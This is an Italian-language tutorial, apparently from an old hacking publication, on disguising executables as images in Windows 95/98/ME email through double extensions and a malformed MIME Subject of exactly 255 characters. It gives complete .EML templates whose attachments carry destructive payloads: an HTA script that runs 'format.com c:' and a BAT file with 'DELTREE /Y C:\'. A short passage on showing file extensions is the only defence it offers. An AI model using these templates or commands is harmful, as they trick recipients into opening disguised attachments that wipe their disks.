--------------------------------------------------------------------------------
In questa sezione vedremo come sfruttare alcune lacune
del
sistema operativo Windows per mascherare file eseguibili
(quindi anche virus e worm) come se fossero altri tipi di file.
--------------------------------------------------------------------------------
IL FILE TYPE SPOOFING
Lo spoofing dei tipi di file è una tecnica usata, spesso
anche dai virus, per simulare che un certo file corrisponda ad un tipo
diverso da ciò che è realmente: in questo modo si può ingannare un
utente facendogli credere che un certo attachment sembri un'immagine JPG,
un archivio ZIP o qualsiasi altra cosa, quando in realtà non lo è. Un
primo tipo di inganno, quello delle estensioni, è molto semplice da
realizzare e si basa sul fatto che Windows (95/98/ME) gestisce male le
estensioni associate ai diversi tipi di files. Infatti il sistema di
Microsoft è stato progettato (di default) per non visualizzare le
estensioni dei tipi di files che hanno un'associazione nel registro. Ciò
vuol dire che un file ARCHIVIO.ZIP viene mostrato all'interno di Esplora
Risorse e degli altri programmi solo col nome ARCHIVIO, senza visualizzare
la sua estensione e può essere riconosciuto dalla classica icona
associata ai file di Winzip. Questa constatazione ci pone un primo
interrogativo: cosa succede ad un file rinominato (volutamente) col nome
ARCHIVIO.ZIP.EXE? Questo viene considerato un file di Winzip o un
eseguibile? Ecco quindi in cosa consiste il primo inganno sui tipi di
file: usando questo trucco della "doppia estensione" Windows
riconosce il file come un .EXE (quindi lo tratta come un eseguibile)
tuttavia visualizza solo il nome senza l'estensione, quindi per un utente
ignaro di questo fatto, il file porterà il nome ARCHIVIO.ZIP, quando in
realtà è un'applicazione .EXE. Questo trucco è stato usato da molti
worm come il famigerato ZIP Explorer. Per accorgersi della frode l'unica
cosa che si può fare (oltre ad usare un buon antivirus) è quella di far
visualizzare a Windows le estensioni dei files, anche per quelli associati
ad applicazioni. Questa opzione si può attivare da Esplora Risorse nel
menu Strumenti/Opzioni Cartella o Visualizza/Opzioni Cartella come in . In
questo modo un'e-mail che porta dietro una attachment, visualizza il file
allegato col suo nome reale, mostrando magari che questo in realtà è un
eseguibile
IL MIME NELLE E-MAIL
Un secondo modo di realizzare lo spoofing dei tipi di
files è invece molto più subdolo e meno facile da intercettare: si
tratta dell'uso di intestazioni malformate nel protocollo MIME che
gestisce gli allegati alle e-mail. Gli attachment in un messaggio di posta
elettronica vengono codificati usando lo standard MIME con una codifica di
solo testo nel caso dei file ASCII puri (TXT, BAT, HTA) oppure con la
codifica "base64" nel caso si tratti di file binari (eseguibili,
immagini, file ZIP). Ecco un esempio di come vengono codificati (in forma
di attachment) un file di immagine (PAMELA.GIF) e un file eseguibile (COMMAND.COM).
La sezione evidenziata (box 1) nelle due definizioni di attachment è
quella che definisce il tipo di files allegato e quindi anche
l'applicazione da eseguire e l'associazione che deve realizzare Windows
per quel file. L'inganno consiste proprio nel cambiare il campo "Content-Type"
indicando magari che un file eseguibile è un'immagine. Windows (quindi
Outlook Express) andrà ad associare a quel file l'icona corrispondente a
ciò che indichiamo dentro la definizione MIME, quindi un attachment che
magari è un programma porterà l'icona associate ai file GIF. Proviamo
allora a creare una e-mail con un allegato "camuffato":
scriviamo un file di testo come quello riportato e salviamolo poi con
l'estensione .EML (per renderlo una e-mail leggibile da Outlook);
MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: bla bla bla
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('format.com c:');</script>
Il file allegato è un'applicazione di tipo HTA, quindi
eseguibile, tuttavia se andiamo ad aprire l'e-mail essa riporta un
allegato con l'icona di un'immagine GIF proprio perche nel "Content -
Type" abbiamo specificato un tipo di file diverso. l'exploit ancora
non è ancora completo, perché se ora proviamo ad aprire il file
allegato, questo viene associato al visualizzatore di immagini GIF di
Windows e non viene più considerato un eseguibile, quindi pur volendo non
potrebbe causare alcun danno. Cosa è successo? Cambiando il "Content
- Type" abbiamo modificato radicalmente il tipo di file, che ora
viene associato ad un'altra applicazione e quindi non è più eseguibile.
Come oltrepassare questa limitazione? E' qui che viene sfruttato un bug
del MIME che consiste nel creare un "Subject" dell'e-maillungo
255 caratteri (ne uno di più, ne uno di meno!) seguito dall'estensione
che vogliamo dare al file (nel caso di prima quindi ".HTA"). Se
mettessimo un solo carattere in meno dei 255 previsti, l'allegato verrebbe
riconosciuto come un'immagine GIF; se invece mettessimo un carattere in più
l'allegato perderebbe ogni tipo di estensione e non sarebbe riconosciuto
da Windows ne associato a qualche applicazione. Ecco quindi come
modificare l'e-mail per realizzare il filetype spoofing;
MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: PAMELA.GIF + [245 spazi vuoti] + .HTA
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('format.com c:');</script>
L'essenziale è inserire nel " Subject" 255
caratteri ASCll: volendo si può scrivere anche un nome fasullo per il
file (PAMELA.GIF) e completare poi i caratteri che mancano con degli spazi
vuoti fino ad arrivare a 255 (nel nostro caso quindi servono 245 spazi
perché "PAMELA.GIF" è lungo 10 caratteri) e infine scrivere la
vera estensione da assegnare al file allegato (.HTA). Il tutto ovviamente
va scritto su un'unica riga;
Ecco un altro esempio che utilizza lo spoofing di un file
BAT, che virtualmente può eseguire qualsiasi comando sul sistema:
MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: PAMELA.GIF + [245 spazi vuoti] + .BAT
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
DELTREE /Y C:\
CONCLUSIONI
Come ci difende Windows da questi attachment pericolosi?
E' veto che la falla di sicurezza può rendere ingannev6li i files e
confondere gli utenti, tuttavia Windows si accorge dell'inghippo e quando
l'utente clicca per aprire l'allegato, Outlook mostra un minimo di avviso
(Fig.4), anche se però non viene menzionato il fatto che l'allegato non
è un'immagine e all'interno dello stesso avviso il file viene nominato
col nome fasullo, non con quello reale, proprio per il fatto che sono
stati usati 255 caratteri.